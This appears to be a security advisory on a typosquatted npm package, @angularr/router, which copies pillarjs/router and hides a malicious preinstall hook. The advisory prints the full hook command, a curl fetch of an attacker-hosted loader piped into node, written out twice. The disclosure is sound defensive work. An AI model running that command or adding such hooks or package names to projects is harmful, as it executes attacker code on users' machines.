MAL-2026-17494

Dashboard / Malicious Package / MAL-2026-17494

MAL-2026-17494

Summary: Malicious code in @angularr/router (npm)

Details: @angularr/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. Source: amazon-inspector (646c9fd4e8d09651eb6d5ec997e6d1b62f294d39d52ec3b4143853c922f15e83) The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user `hellscripter`, proxied via web.archive.org) and piping it directly into Node for execution during `npm install`. The code executes with the installer's privileges before any package code is loaded. The package name `@angularr/router` (double-r) resembles `@angular/router`, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.

References: https://www.npmjs.com/package/@angularr/router/v/2.2.0, https://www.npmjs.com/package/@angularr/router